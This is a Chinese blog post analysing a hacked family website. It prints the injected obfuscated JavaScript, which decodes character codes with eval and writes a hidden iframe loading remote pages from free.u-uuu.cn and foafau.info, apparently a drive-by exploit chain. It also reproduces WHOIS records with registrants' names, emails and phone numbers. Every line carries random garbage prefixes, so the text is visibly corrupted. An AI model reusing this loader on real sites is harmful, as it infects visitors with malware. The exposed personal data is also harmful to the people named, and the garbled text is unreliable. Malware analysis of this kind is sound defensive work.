首发在我的博客里面，
VBV y3fnj r5y p
j T^ http://www.areway.cn/?p=175 ;LEO+,6 { ]Tb B^Y AKbY 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
6t @kft>Nv A'Q=Do E <script>t=’60,105,102,114,97,109,101,
w5zr E k# 32,115,114,99,61,104,116,116,112,58,47,47,
&, E^ y,r 102,114,101,101,46,117,45,117,117,117,46,99,
eT 8(O36% 110,47,101,114,114,111,114,46,104,116,109,
&("HH"! 32,119,105,100,116,104,61,49,48,48,32,104,
D >ax<t1K 101,105,103,104,116,61,48,62,60,47,105,102,
H w[(v[v 114,97,109,101,62′;
1N8gH&oF t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
TY,5]*86I& }i, LP1R <script>t=’60,105,102,114,97,109,101,32,115,
o"h * @. 114,99,61,104,116,116,112,58,47,47,102,114,
a VTTpMY 101,101,46,117,45,117,117,117,46,99,110,47,
~2 aR>R_nT 101,114,114,111,114,46,104,116,109,32,119,
ZH6#(;b 105,100,116,104,61,49,48,48,32,104,101,105,
4rk j$ 103,104,116,61,48,62,60,47,105,102,114,97,
1=Npq=d 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
+pDZ,c, document.write(t);</script>
K??(>0Qr}r n:QFwwQ`Q; <html xmlns=”
^yLiyR e\ http://www.w3.org/1999/xhtml IJX75hE0g “>
eru2.(1 <head>
es]S]}JV <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
o[<lTsw< <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
tx0`#x <title>首页 - 爱生活家庭网
9?M>Y?4 =e\E{K'f@ 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
&oi*]:<FNe 转换字符串后的大概内容是（谁点击后果自付）：
!<` }m E!: <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
l6o?(!:!% ['1JN UX 查询玉米u-uuu.cn的详细信息：
_ 19x `J3 Domain Name: u-uuu.cn
j ;%RV)e ROID: 20070901s10001s64972306-cn
;&="aD Domain Status: ok
}t.J;(f f: Registrant Organization: 王雷
2Cy">Exl Registrant Name: 王雷
|U f[x[ Administrative Email:
czlovexs@126.com Z?@1X`@ Sponsoring Registrar: 北京万网志成科技有限公司
m]}%Ag^x Name Server:ns.yovole.com
B?o ?LI Name Server:ns1.yovole.com
~\4`tc Registration Date: 2007-09-01 17:54
kC : pal Expiration Date: 2008-09-01 17:54
#$/SM_X14C 最后PING了一下地址 都没有什么….
P!uwhha/g H# P)n
R
M 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
H_3-" m &3 <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
]<y _
=> <script language=”javascript” src=”
g$=y#<2? http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script *c"tW8uR >
2oL~N*^C 这个玉米应该有可能是木马作者的：
B ^8]quOH foafau.info的详细信息：
y9<]F 6TT Access to INFO WHOIS information is provided to assist persons in
<$m=@@qg determining the contents of a domain name registration record in the
HI+87f_Q Afilias registry database. The data in this record is provided by
c{7<z9U Afilias Limited for informational purposes only, and Afilias does not
. Y@)3 guarantee its accuracy. This service is intended only for query-based
w?u4-GT access. You agree that you will use this data only for lawful purposes
H~fX >6> and that, under no circumstances will you use this data to: (a) allow,
mC-'z enable, or otherwise support the transmission by e-mail, telephone, or
PH,MZ "Z% facsimile of mass unsolicited, commercial advertising or solicitations
N%3
G\|~Q to entities other than the data recipient’s own existing customers; or
bBwMx{iNNz (b) enable high volume, automated, electronic processes that send
~lg1S queries or data to the systems of Registry Operator, a Registrar, or
<<Z t.!hS Afilias except as reasonably necessary to register domain names or
J2tD).G modify existing registrations. All rights reserved. Afilias reserves
^5BLuN6 the right to modify these terms at any time. By submitting this query,
o *\c V 6 you agree to abide by this policy.
'V H%cz* Domain ID:D22418703-LRMS
|q0MM^%" Domain Name:FOAFAU.INFO
[):&R1 U Created On:20-Nov-2007 16:05:42 UTC
I,rs&m?/m Last Updated On:20-Nov-2007 16:05:44 UTC
V s /Z8t Expiration Date:20-Nov-2008 16:05:42 UTC
> J!J: Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
Mv\odf\] Status:CLIENT DELETE PROHIBITED
,gdf7&r Status:CLIENT RENEW PROHIBITED
p xj}%LH Status:CLIENT TRANSFER PROHIBITED
s#f6qj Status:CLIENT UPDATE PROHIBITED
I @sXmC2$\ Status:TRANSFER PROHIBITED
H2EKr#(
Registrant ID:GODA-040110615
]J`yh$a Registrant Name:liu hong
t,CC~ Registrant Organization:
<OYy ;s Registrant Street1:beijing
x{=@~c%eh Registrant Street2:
hu=b , Registrant Street3:
\a\J 0 &Z Registrant City:beijing
B Q) 1)8r Registrant State/Province:
y7&8P8R Registrant Postal Code:100000
R9dC$Y]\M Registrant Country:CN
g 0=Q>TzY Registrant Phone:+86.860108888777
zYL</!6a[ Registrant Phone Ext.:
S `N_}, Registrant FAX:
2!UNFv#=$ Registrant FAX Ext.:
C}})dL;( Registrant Email:bbbshiji@163.com
\1 ^qfw Admin ID:GODA-240110615
N.j? : Admin Name:liu hong
~\0uy3% Admin Organization:
$s[DT!8N Admin Street1:beijing
#zRT Admin Street2:
,F4 _ps?( Admin Street3:
qa|"kRCO Admin City:beijing
VW,"
dmC Admin State/Province:
7mUp n:U Admin Postal Code:100000
ZD )pdN X Admin Country:CN
/Dh[lgF 0C Admin Phone:+86.860108888777
k{{ iF Admin Phone Ext.:
i2h,=NHJh? Admin FAX:
>n`!S`)9{ Admin FAX Ext.:
C^dn kuA Admin Email:bbbshiji@163.com
Gp< 7i5 Billing ID:GODA-340110615
;p$KM-?2D Billing Name:liu hong
k@,&'imx Billing Organization:
hqPpRSv' Billing Street1:beijing
#5Zf 6w Billing Street2:
Jl ,mYFEZ Billing Street3:
vZ<@m2 Billing City:beijing
Obd};&6 Q Billing State/Province:
b[mAkm?9+1 Billing Postal Code:100000
SI/@Bbd= Billing Country:CN
zmREzP#X Billing Phone:+86.860108888777
O @n1E'S/ Billing Phone Ext.:
/M Hml0u Billing FAX:
Wa/&H$d\u@ Billing FAX Ext.:
l7g<
$3 Billing Email:bbbshiji@163.com
=*ZQGM 3w Tech ID:GODA-140110615
aa:97w~s0 Tech Name:liu hong
&7gL&AY8 Tech Organization:
L `7~~ Tech Street1:beijing
{95z\UE} Tech Street2:
z /
YF7wrx Tech Street3:
m/2LwN Tech City:beijing
Z$ 8 X1(o Tech State/Province:
(3H'!P7 |~ Tech Postal Code:100000
t1y
hU"(J Tech Country:CN
[CCj5N1/ Tech Phone:+86.860108888777
AqD)2O{VO Tech Phone Ext.:
8Z^9r /%*Z Tech FAX:
d#?.G3YmK Tech FAX Ext.:
'h?;i2[ Tech Email:bbbshiji@163.com
p=tj>{ Name Server:NS27.DOMAINCONTROL.COM
W~TT`%[ Name Server:NS28.DOMAINCONTROL.COM
P[l? Name Server:
6$d3Ap@Gl Name Server:
]A;{D~X^w Name Server:
("UzMr, Name Server:
rQW&$M Name Server:
3EM=6\#q Name Server:
O{sb{kk Name Server:
n+ C,v.X Name Server:
LLa72HW Name Server:
3C=| Name Server:
L_3undy, Name Server:
#0i] g)
~@3X&E0S 接着下载每个文件里面的代码：
h{ &X`$ 一步一步看..
c<'P t4LY 
%:^|Q;xe 
T8ga)BA 
ql|ksios 
GsYi/Z
?5%0zMC 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
